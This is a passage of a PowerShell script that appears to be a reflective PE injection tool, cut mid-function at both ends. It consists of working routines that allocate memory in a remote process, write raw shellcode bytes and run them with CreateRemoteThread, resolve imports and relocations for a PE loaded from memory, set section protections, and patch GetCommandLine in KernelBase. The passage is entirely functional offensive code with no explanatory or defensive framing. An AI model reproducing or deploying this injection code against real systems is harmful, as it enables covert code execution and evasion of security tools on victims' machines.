$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
} | |
else | |
{ | |
[IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions | |
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) | |
if ($Result -ne 0) | |
{ | |
Throw "Call to CreateRemoteThread to call GetProcAddress failed." | |
} | |
[Int32]$ExitCode = 0 | |
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) | |
if (($Result -eq 0) -or ($ExitCode -eq 0)) | |
{ | |
Throw "Call to GetExitCodeThread failed" | |
} | |
[IntPtr]$DllAddress = [IntPtr]$ExitCode | |
} | |
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
return $DllAddress | |
} | |
Function Get-RemoteProcAddress | |
{ | |
Param( | |
[Parameter(Position=0, Mandatory=$true)] | |
[IntPtr] | |
$RemoteProcHandle, | |
[Parameter(Position=1, Mandatory=$true)] | |
[IntPtr] | |
$RemoteDllHandle, | |
[Parameter(Position=2, Mandatory=$true)] | |
[IntPtr] | |
$FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) | |
[Parameter(Position=3, Mandatory=$true)] | |
[Bool] | |
$LoadByOrdinal | |
) | |
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) | |
[IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal | |
#If not loading by ordinal, write the function name to the remote process memory | |
if (-not $LoadByOrdinal) | |
{ | |
$FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) | |
#Write FunctionName to memory (will be used in GetProcAddress) | |
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) | |
$RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) | |
if ($RFuncNamePtr -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process" | |
} | |
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero | |
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) | |
if ($Success -eq $false) | |
{ | |
Throw "Unable to write DLL path to remote process memory" | |
} | |
if ($FunctionNameSize -ne $NumBytesWritten) | |
{ | |
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" | |
} | |
} | |
#If loading by ordinal, just set RFuncNamePtr to be the ordinal number | |
else | |
{ | |
$RFuncNamePtr = $FunctionNamePtr | |
} | |
#Get address of GetProcAddress | |
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") | |
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes | |
#Allocate memory for the address returned by GetProcAddress | |
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) | |
if ($GetProcAddressRetMem -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" | |
} | |
#Write Shellcode to the remote process which will call GetProcAddress | |
#Shellcode: GetProcAddress.asm | |
[Byte[]]$GetProcAddressSC = @() | |
if ($PEInfo.PE64Bit -eq $true) | |
{ | |
$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) | |
$GetProcAddressSC2 = @(0x48, 0xba) | |
$GetProcAddressSC3 = @(0x48, 0xb8) | |
$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) | |
$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) | |
} | |
else | |
{ | |
$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) | |
$GetProcAddressSC2 = @(0xb9) | |
$GetProcAddressSC3 = @(0x51, 0x50, 0xb8) | |
$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) | |
$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) | |
} | |
$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) | |
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) | |
$SCPSMemOriginal = $SCPSMem | |
Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) | |
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) | |
if ($RSCAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process for shellcode" | |
} | |
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero | |
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) | |
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) | |
{ | |
Throw "Unable to write shellcode to remote process memory." | |
} | |
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions | |
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) | |
if ($Result -ne 0) | |
{ | |
Throw "Call to CreateRemoteThread to call GetProcAddress failed." | |
} | |
#The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory | |
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) | |
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) | |
if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) | |
{ | |
Throw "Call to ReadProcessMemory failed" | |
} | |
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) | |
#Cleanup remote process memory | |
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
if (-not $LoadByOrdinal) | |
{ | |
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null | |
} | |
return $ProcAddress | |
} | |
Function Copy-Sections | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[Byte[]] | |
$PEBytes, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$PEInfo, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[System.Object] | |
$Win32Types | |
) | |
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) | |
{ | |
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) | |
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) | |
#Address to copy the section to | |
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) | |
#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated | |
# in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If | |
# SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, | |
# so truncate SizeOfRawData to VirtualSize | |
$SizeOfRawData = $SectionHeader.SizeOfRawData | |
if ($SectionHeader.PointerToRawData -eq 0) | |
{ | |
$SizeOfRawData = 0 | |
} | |
if ($SizeOfRawData -gt $SectionHeader.VirtualSize) | |
{ | |
$SizeOfRawData = $SectionHeader.VirtualSize | |
} | |
if ($SizeOfRawData -gt 0) | |
{ | |
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null | |
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) | |
} | |
#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space | |
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) | |
{ | |
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData | |
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) | |
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null | |
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null | |
} | |
} | |
} | |
Function Update-MemoryAddresses | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[System.Object] | |
$PEInfo, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[Int64] | |
$OriginalImageBase, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[System.Object] | |
$Win32Types | |
) | |
[Int64]$BaseDifference = 0 | |
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables | |
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) | |
#If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do | |
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` | |
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) | |
{ | |
return | |
} | |
elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) | |
{ | |
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) | |
$AddDifference = $false | |
} | |
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) | |
{ | |
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) | |
} | |
#Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified | |
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) | |
while($true) | |
{ | |
#If SizeOfBlock == 0, we are done | |
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) | |
if ($BaseRelocationTable.SizeOfBlock -eq 0) | |
{ | |
break | |
} | |
[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) | |
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 | |
#Loop through each relocation | |
for($i = 0; $i -lt $NumRelocations; $i++) | |
{ | |
#Get info for this relocation | |
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) | |
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) | |
#First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase | |
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF | |
[UInt16]$RelocType = $RelocationInfo -band 0xF000 | |
for ($j = 0; $j -lt 12; $j++) | |
{ | |
$RelocType = [Math]::Floor($RelocType / 2) | |
} | |
#For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. | |
#This appears to be true for EXE's as well. | |
# Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx | |
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` | |
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) | |
{ | |
#Get the current memory address and update it based off the difference between PE expected base address and actual base address | |
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) | |
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) | |
if ($AddDifference -eq $true) | |
{ | |
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) | |
} | |
else | |
{ | |
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) | |
} | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null | |
} | |
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) | |
{ | |
#IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it | |
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" | |
} | |
} | |
$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) | |
} | |
} | |
Function Import-DllImports | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[System.Object] | |
$PEInfo, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Types, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants, | |
[Parameter(Position = 4, Mandatory = $false)] | |
[IntPtr] | |
$RemoteProcHandle | |
) | |
$RemoteLoading = $false | |
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) | |
{ | |
$RemoteLoading = $true | |
} | |
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) | |
{ | |
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) | |
while ($true) | |
{ | |
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) | |
#If the structure is null, it signals that this is the end of the array | |
if ($ImportDescriptor.Characteristics -eq 0 ` | |
-and $ImportDescriptor.FirstThunk -eq 0 ` | |
-and $ImportDescriptor.ForwarderChain -eq 0 ` | |
-and $ImportDescriptor.Name -eq 0 ` | |
-and $ImportDescriptor.TimeDateStamp -eq 0) | |
{ | |
Write-Verbose "Done importing DLL imports" | |
break | |
} | |
$ImportDllHandle = [IntPtr]::Zero | |
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) | |
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) | |
if ($RemoteLoading -eq $true) | |
{ | |
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr | |
} | |
else | |
{ | |
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) | |
} | |
if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) | |
{ | |
throw "Error importing DLL, DLLName: $ImportDllPath" | |
} | |
#Get the first thunk, then loop through all of them | |
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) | |
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk | |
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) | |
while ($OriginalThunkRefVal -ne [IntPtr]::Zero) | |
{ | |
$LoadByOrdinal = $false | |
[IntPtr]$ProcedureNamePtr = [IntPtr]::Zero | |
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit | |
# If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint | |
# and doing the comparison, just see if it is less than 0 | |
[IntPtr]$NewThunkRef = [IntPtr]::Zero | |
if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) | |
{ | |
[IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal | |
$LoadByOrdinal = $true | |
} | |
elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) | |
{ | |
[IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal | |
$LoadByOrdinal = $true | |
} | |
else | |
{ | |
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) | |
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) | |
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) | |
$ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) | |
} | |
if ($RemoteLoading -eq $true) | |
{ | |
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal | |
} | |
else | |
{ | |
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) | |
} | |
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) | |
{ | |
if ($LoadByOrdinal) | |
{ | |
Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" | |
} | |
else | |
{ | |
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" | |
} | |
} | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) | |
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) | |
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) | |
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) | |
#Cleanup | |
#If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed | |
if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) | |
{ | |
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) | |
$ProcedureNamePtr = [IntPtr]::Zero | |
} | |
} | |
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) | |
} | |
} | |
} | |
Function Get-VirtualProtectValue | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[UInt32] | |
$SectionCharacteristics | |
) | |
$ProtectionFlag = 0x0 | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) | |
{ | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) | |
{ | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE | |
} | |
else | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ | |
} | |
} | |
else | |
{ | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY | |
} | |
else | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE | |
} | |
} | |
} | |
else | |
{ | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) | |
{ | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_READWRITE | |
} | |
else | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_READONLY | |
} | |
} | |
else | |
{ | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY | |
} | |
else | |
{ | |
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS | |
} | |
} | |
} | |
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) | |
{ | |
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE | |
} | |
return $ProtectionFlag | |
} | |
Function Update-MemoryProtectionFlags | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[System.Object] | |
$PEInfo, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[System.Object] | |
$Win32Types | |
) | |
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) | |
{ | |
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) | |
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) | |
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) | |
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics | |
[UInt32]$SectionSize = $SectionHeader.VirtualSize | |
[UInt32]$OldProtectFlag = 0 | |
Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null | |
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) | |
if ($Success -eq $false) | |
{ | |
Throw "Unable to change memory protection" | |
} | |
} | |
} | |
#This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE | |
#Returns an object with addresses to copies of the bytes that were overwritten (and the count) | |
Function Update-ExeFunctions | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[System.Object] | |
$PEInfo, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[String] | |
$ExeArguments, | |
[Parameter(Position = 4, Mandatory = $true)] | |
[IntPtr] | |
$ExeDoneBytePtr | |
) | |
#This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. | |
$ReturnArray = @() | |
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) | |
[UInt32]$OldProtectFlag = 0 | |
[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") | |
if ($Kernel32Handle -eq [IntPtr]::Zero) | |
{ | |
throw "Kernel32 handle null" | |
} | |
[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") | |
if ($KernelBaseHandle -eq [IntPtr]::Zero) | |
{ | |
throw "KernelBase handle null" | |
} | |
################################################# | |
#First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. | |
# We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. | |
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) | |
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) | |
[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") | |
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") | |
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) | |
{ | |
throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" | |
} | |
#Prepare the shellcode | |
[Byte[]]$Shellcode1 = @() | |
if ($PtrSize -eq 8) | |
{ | |
$Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 | |
} | |
$Shellcode1 += 0xb8 | |
[Byte[]]$Shellcode2 = @(0xc3) | |
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length | |
#Make copy of GetCommandLineA and GetCommandLineW | |
